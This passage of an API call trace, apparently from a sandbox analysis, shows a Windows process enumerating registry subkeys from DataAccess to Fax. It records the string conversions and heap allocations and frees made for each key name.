WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.866] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x21ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0038.866] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.866] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.866] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.866] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.866] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x21eb930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0038.866] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.866] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x21ec0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0038.866] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.866] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.866] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.866] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.866] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x21eb930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0038.866] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.866] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x21ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0038.866] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.866] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.866] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.866] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.866] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x21eb930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0038.866] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0038.866] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x21ec0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0038.867] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.867] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.867] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.867] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.867] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x21eb930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0038.867] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0038.867] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x21ec120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0038.867] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.867] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.867] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.867] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.867] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x21eb930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0038.867] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.867] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x21ec0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0038.867] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.867] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.867] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.867] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.867] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x21eb930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0038.867] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.867] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x21ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0038.867] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.867] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.867] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.867] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.867] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x21eb930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0038.867] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.867] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x21ec0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0038.868] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.868] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.868] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.868] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.868] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x21eb930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0038.868] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.868] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x21ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0038.868] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.868] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.868] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.868] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.868] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x21eb930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0038.868] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.868] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x21ec0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0038.868] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.868] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.868] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.868] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.868] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x21eb930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0038.868] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.868] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x21ec120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0038.868] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.868] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.868] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.868] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.868] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x21eb930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0038.868] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.868] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x21ec0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0038.868] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.869] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.869] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.869] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.869] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x21eb930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0038.869] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.869] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x21ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0038.869] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.869] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.869] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.869] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.869] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x21eb930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0038.869] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.869] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x21ec0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0038.869] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.869] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.869] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.869] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.869] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x21eb930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0038.869] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.869] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x21ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0038.869] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.869] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.869] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.869] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.869] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x21eb930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0038.869] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.869] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x21ec0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0038.869] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.869] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.869] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.870] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.870] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x21eb930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0038.870] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.870] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x21ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0038.870] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.870] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.870] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.870] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.870] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x21eb930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0038.870] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0038.870] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x21ec0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0038.870] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.870] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.870] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.870] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.870] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x21eb930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0038.870] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.870] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x21ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0038.870] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.870] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.870] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.870] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.870] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x21eb930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0038.870] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.870] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x21ec0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0038.870] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.870] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.870] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.871] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.871] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x21eb930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0038.871] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.871] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x21ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0038.871] RtlAllocateHeap 